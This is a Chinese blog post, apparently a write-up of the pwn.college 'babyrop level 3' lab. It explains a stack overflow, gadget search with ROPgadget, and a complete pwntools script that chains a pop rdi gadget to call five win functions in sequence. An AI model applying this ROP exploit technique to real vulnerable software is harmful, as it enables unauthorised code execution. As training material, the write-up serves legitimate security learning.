level-3

题目简介

题面很简单,提示我们了,需要使用ROP去触发一个多阶段的win函数

漏洞点分析

拖进IDA,看到溢出点发生在challenge函数,如图


然后checksec看看开启了哪些保护


可以发现只开启了NX,不能自己写shellcode

接下来尝试寻找后门函数,注意到IDA逆向结果显示有5个win函数,基本可以猜测就是输出flag的后门函数,分别点进去分析源码,如下5张图所示






可以观察到每个函数只输出一部分flag,并且会检查参数是否等于stage编号

由此,结合题面提示,漏洞点就清晰了:利用溢出,构造ROP链,按顺序调用这5个win函数即可

漏洞点利用

首先,依然是确定偏移量,在IDA里可以直接读出来offset=0x40+0x8=0x48

接下来寻找可用的指令碎片(一般是找ret,以及如果是64位程序,还要找传参用的pop rdi; ret序列),通过ROPgadget工具:

1
ROPgadget --binary /challenge/babyrop_level3.1 >gadgets.txt

之后在gadgets.txt中搜索到ret指令和pop rdi指令:

可以看到我们想要的指令分别在0x402373和0x40101a
最后,分别找到5个win函数的地址,可以使用objdump工具,或者在IDA里看

由于没有开启PIE,上述找到的地址均可直接使用(即写死在脚本里)
有了以上信息,可以编写出如下利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import struct
import os
returnAddr1=0x402132
gadgetAddr=0x402373
returnAddr2=0x401f6c
returnAddr3=0x401da7
returnAddr4=0x40204c
returnAddr5=0x401e89
offset=72
context(os='linux', arch='x86_64',log_level='debug')
p = process("/challenge/babyrop_level3.1")
payload=b"a"*offset+p64(gadgetAddr)+p64(0x1)+p64(returnAddr1)+p64(gadgetAddr)+p64(0x2)+p64(returnAddr2)+p64(gadgetAddr)+p64(0x3)+p64(returnAddr3)+p64(gadgetAddr)+p64(0x4)+p64(returnAddr4)+p64(gadgetAddr)+p64(0x5)+p64(returnAddr5)
p.recvuntil('###\n')
p.send(payload)
#p.interactive()
output = p.recvall()
print(output.decode())

level-3
http://0x4a-210.github.io/2025/07/20/pwn.college/Program-Securtity/ROP/level-3/
Posted on
July 20, 2025
Licensed under